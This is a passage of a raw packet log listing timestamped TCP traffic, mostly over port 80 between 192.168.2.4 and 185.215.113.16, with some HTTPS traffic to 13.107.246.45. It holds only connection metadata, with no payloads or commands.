Nov 7, 2024 06:01:12.206758976 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.206792116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.206803083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.206814051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.206830978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.206842899 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.206861973 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.219794035 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.219949961 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.235642910 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235657930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235668898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235681057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235693932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235723972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.235754013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235761881 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.235761881 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.235769987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235785007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235796928 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.235800028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.235811949 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.235825062 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.262516975 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.263046980 CET	49803	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.263061047 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.263529062 CET	49803	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.263535023 CET	443	49803	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.273329020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273358107 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273369074 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273391008 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273395061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273408890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273422956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273446083 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273449898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273462057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273473978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273478985 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273502111 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273524046 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273535013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273581028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273581982 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273603916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273627043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273649931 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273713112 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273725986 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273736954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273747921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273756027 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273766041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273777008 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273782969 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273788929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273801088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273811102 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273813009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273828030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273838997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273840904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273853064 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273869038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273885012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273888111 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273896933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273909092 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273912907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273926020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273931026 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273946047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273957968 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273963928 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273967981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273974895 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.273981094 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.273999929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274010897 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274018049 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274020910 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274034977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274056911 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274080038 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274122000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274167061 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274235010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274246931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274256945 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274275064 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274277925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274287939 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274300098 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274312019 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274312973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274326086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274328947 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274338007 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274354935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274357080 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274368048 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274384975 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274388075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274400949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274410963 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274413109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274420977 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274456024 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274488926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274498940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274509907 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274522066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274535894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274552107 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274564028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274575949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274585009 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274585009 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274602890 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274635077 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274650097 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274660110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274669886 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274682045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274693012 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274723053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274775028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274786949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274797916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274816036 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274847031 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274914026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274925947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274935961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.274957895 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.274975061 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.275038958 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.275057077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.275068045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.275080919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.275098085 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.275109053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.275501013 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.276144028 CET	49804	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.276182890 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.276735067 CET	49804	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.276740074 CET	443	49804	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.299201012 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.299767971 CET	49805	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.299786091 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.300246954 CET	49805	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.300252914 CET	443	49805	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.309593916 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.310092926 CET	49806	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.310123920 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.310667992 CET	49806	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.310674906 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.313277006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313290119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313307047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313318014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313328028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313339949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313344955 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313350916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313369989 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313370943 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313378096 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313384056 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313395023 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313395023 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313416004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313426971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313427925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313438892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313455105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313462019 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313469887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313477993 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313486099 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313497066 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313504934 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313515902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313524961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313527107 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313543081 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313554049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313560009 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313565016 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313585043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313585043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313605070 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313607931 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313622952 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313632965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313637972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313643932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313654900 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313657045 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313666105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313685894 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313688040 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313698053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313709974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313718081 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313723087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313734055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313735962 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313746929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313757896 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313760996 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313769102 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313787937 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313798904 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313803911 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313807964 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313819885 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313829899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313844919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313848019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313860893 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313868999 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313872099 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313884020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313885927 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313895941 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313906908 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313918114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313921928 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313924074 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313937902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313942909 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313952923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.313982964 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.313990116 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314006090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314012051 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314023972 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314034939 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314045906 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314048052 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314074039 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314075947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314094067 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314097881 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314121962 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314136028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314146042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314157009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314182997 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314199924 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314265966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314276934 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314287901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314299107 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314311028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314313889 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314322948 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314332962 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314337015 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314351082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314367056 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314379930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314384937 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314393044 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314404011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314415932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314428091 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314429045 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314439058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314450979 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314460993 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314467907 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314472914 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314482927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314496994 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314521074 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314522028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314532042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314543962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314554930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314560890 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314589024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314598083 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314611912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314624071 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314627886 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314635992 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314659119 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314666033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314668894 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314672947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314703941 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314732075 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314735889 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314748049 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314758062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314769030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314774990 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314780951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314791918 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314793110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314806938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314809084 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314838886 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314867020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314881086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314892054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314903021 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314919949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314923048 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314932108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314940929 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314941883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314954042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314971924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314979076 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314984083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.314994097 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.314995050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315006971 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315018892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315035105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315037012 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315046072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315057039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315063953 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315068960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315084934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315087080 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315099955 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315108061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315119028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315129042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315135956 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.315145969 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315157890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.315160036 CET	49797	80	192.168.2.4	185.215.113.16
